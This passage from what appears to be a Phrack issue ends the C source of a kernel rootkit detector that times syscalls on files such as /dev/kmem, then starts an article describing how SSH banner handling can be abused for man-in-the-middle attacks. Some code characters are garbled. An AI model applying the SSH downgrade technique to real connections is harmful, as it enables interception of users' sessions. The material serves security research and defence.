sched_get_priority_max (SCHED_FIFO); sched_p.sched_priority = max_prio; if (sched_setscheduler (0, SCHED_RR, &sched_p) < 0) die ("Setting realtime policy\n"); fprintf (stderr, "* FIFO scheduling policy has been set.\n"); generate_ttbl (¤t); sched_p.sched_priority = 0; if (sched_setscheduler (0, SCHED_OTHER, &sched_p) < 0) die ("Dropping realtime policy\n"); fprintf (stderr, "* dropping realtime schedulng policy.\n\n"); if (mode == M_GENTTBL) { write_ttbl (¤t, ttbl_file); exit (0); } printf ( " test name | current | clear | diff | status \n"); printf ( "------------------------------------------------------\n"); for (i = 0; i < current.ntests; i++) { if (strncmp (current.test[i].name, clear.test[i].name, TESTNAMESZ)) die ("ttbl entry name mismatch"); T1 = current.test[i].t; T2 = clear.test[i].t; dt = T1 - T2; printf ("%-18s | %7d| %7d|%7d|", current.test[i].name, T1, T2, dt); dt = abs (dt); if (dt < WARN_THRESHOLD) printf (" ok "); if (dt >= WARN_THRESHOLD && dt < ALERT_THRESHHOLD) printf (" (?) "); if (dt >= ALERT_THRESHHOLD) printf (" ALERT!"); printf ("\n"); } } <--> ./patchfinder/main.c <++> ./patchfinder/tests.c /* */ /* The Kernel PatchFinder version 0.9 */ /* */ /* (c) 2002 by Jan K. Rutkowski */ /* */ #include #include #include #include #include #include #include #include "libpf.h" #include "main.h" int test_open_file () { int tmpfd, T = 0; patchfinder (PF_START); tmpfd = open ("/etc/passwd", 0, 0); T = patchfinder (PF_GET); close (tmpfd); return T; } int test_stat_file () { int T = 0; char buf[0x100]; /* we dont include sys/stat.h */ patchfinder (PF_START); stat ("/etc/passwd", &buf); T = patchfinder (PF_GET); return T; } int test_read_file () { int fd, T = 0; char buf[0x100]; fd = open ("/etc/passwd", 0, 0); if (fd < 0) die ("open"); patchfinder (PF_START); read (fd, buf , sizeof(buf)); T = patchfinder (PF_GET); close (fd); return T; } int test_open_kmem () { int tmpfd; int T = 0; patchfinder (PF_START); tmpfd = open ("/dev/kmem", 0, 0); T = patchfinder (PF_GET); close (tmpfd); return T; } _syscall3(int, getdents, int, fd, struct dirent*, dirp, int, count) int test_readdir_root () { int fd, T = 0; struct dirent de[1]; fd = open ("/", 0, 0); if (fd < 0) die ("open"); patchfinder (PF_START); getdents (fd, de, sizeof (de)); T = patchfinder (PF_GET); close (fd); return T; } int test_readdir_proc () { int fd, T = 0; struct dirent de[1]; fd = open ("/proc", 0, 0); if (fd < 0) die ("open"); patchfinder (PF_START); getdents (fd, de, sizeof (de)); T = patchfinder (PF_GET); close (fd); return T; } int test_read_proc_net_tcp () { int fd, T = 0; char buf[32]; fd = open ("/proc/net/tcp", 0, 0); if (fd < 0) die ("open"); patchfinder (PF_START); read (fd, buf , sizeof(buf)); T = patchfinder (PF_GET); close (fd); return T; } int test_lseek_kmem () { int fd, T = 0; fd = open ("/dev/kmem", 0, 0); if (fd <0) die ("open"); patchfinder (PF_START); lseek (fd, 0xc0100000, 0); T = patchfinder (PF_GET); close (fd); return T; } int test_read_kmem () { int fd, T = 0; char buf[256]; fd = open ("/dev/kmem", 0, 0); if (fd < 0) die ("open"); lseek (fd, 0xc0100000, 0); patchfinder (PF_START); read (fd, buf , sizeof(buf)); T = patchfinder (PF_GET); close (fd); return T; } int generate_ttbl (TTBL *ttbl) { int i = 0, t; #define set_test(testname) { \ ttbl->test[i].test_func = test_##testname; \ strcpy (ttbl->test[i].name, #testname); \ ttbl->test[i].t = 0; \ ttbl->test[i].ft = 0; \ i++; \ } set_test(open_file) set_test(stat_file) set_test(read_file) set_test(open_kmem) set_test(readdir_root) set_test(readdir_proc) set_test(read_proc_net_tcp) set_test(lseek_kmem) set_test(read_kmem) assert (i <= MAX_TESTS); ttbl->ntests = i; #undef set_test fprintf (stderr, "* each test will take %d iteration\n", ttbl->tries); usleep (100000); for (i = 0; i < ttbl->ntests; i++) { for (t = 0; t < ttbl->tries; t++) ttbl->test [i].ft += (double)ttbl->test[i].test_func(); fprintf (stderr, "* testing... %d%%\r", i*100/ttbl->ntests); usleep (10000); } for (i = 0; i < ttbl->ntests; i++) ttbl->test [i].t = (int) (ttbl->test[i].ft/(double)ttbl->tries); fprintf (stderr, "\r* testing... done.\n"); return i; } <--> ./patchfinder/tests.c <++> ./patchfinder/libpf.h /* */ /* The Kernel PatchFinder version 0.9 */ /* */ /* (c) 2002 by Jan K. Rutkowski */ /* */ #ifndef __LIBPF_H #define __LIBPF_H #include "module.h" int patchfinder(int what); #endif <--> ./patchfinder/libpf.h <++> ./patchfinder/libpf.c /* */ /* The Kernel PatchFinder version 0.9 */ /* */ /* (c) 2002 by Jan K. Rutkowski */ /* */ #include #include #include "libpf.h" _syscall1(int, patchfinder, int, what) <--> ./patchfinder/libpf.c ==Phrack Inc.== Volume 0x0b, Issue 0x3b, Phile #0x0b of 0x12 |=-----------------=[ It cuts like a knife. SSHarp. ]=-------------------=| |=-----------------------------------------------------------------------=| |=----------------=[ stealth ]=------------------=| --[ Contents - Intoduction 1 - Playing with the banner 2 - Playing with the keys 3 - Countermeasures 4 - An Implementation 5 - Discussion 6 - Acknowledgments 7 - References --[ Introduction The Secure Shell (SSH) protocol which itself is considered strong is often weakly implemented. Especially the SSH1/SSH2 interoperability as implemented in most SSH clients suffers from certain weak points as described below. Additionally the SSH2 protocol itself is also flexible enough to contain some interesting parts for attackers. For disclaimer see the pdf-version of this article available [here]. The described mim-program will be made available one week after releasing this article to give vendors time for fixes (which are rather trivial) to limit the possibility of abuse. In this article I will describe how SSH clients can be tricked into thinking they are missing the host-key for the host they connected to even though they already have it in their list of known hosts. This is possible due to some points in the SSH drafts which makes life of SSH developers harder but which was ment to offer special protection or more flexibility. I assume you have a basic understanding of how SSH works. However it is not necessary to understand it all in detail because the attacks succeeds in the handshake where only a few packets have been exchanged. I also assume you are familiar with the common attacking scenarios in networks like Man in the Middle attacks, hijacking attacks against plaintext protocols, replay attacks and so on. --[ 1 - Playing with the banner The SSH draft demands that both, client and server, exchange a banner before negotiating the key used for encrypting the communication channel. This is indeed needed for both sides to see which version of the protocol they have to speak. A banner commonly looks like SSH-1.99-OpenSSH_2.2.0p1 A client obtaining such a banner reads this as "speak SSH1 or SSH2 to me". This is due to the "1" after the dash, the so called remote major version. It allows the client to choose SSH1 for key negotiation and further encryption. However it is also possible for the client to continue with SSH2 packets as the "99" tells him which is also called the remote minor version. (It is a convention that a remote-minor version of 99 with a remote-major version of 1 means both protocols.) Depending on the clients configuration files and command-line opti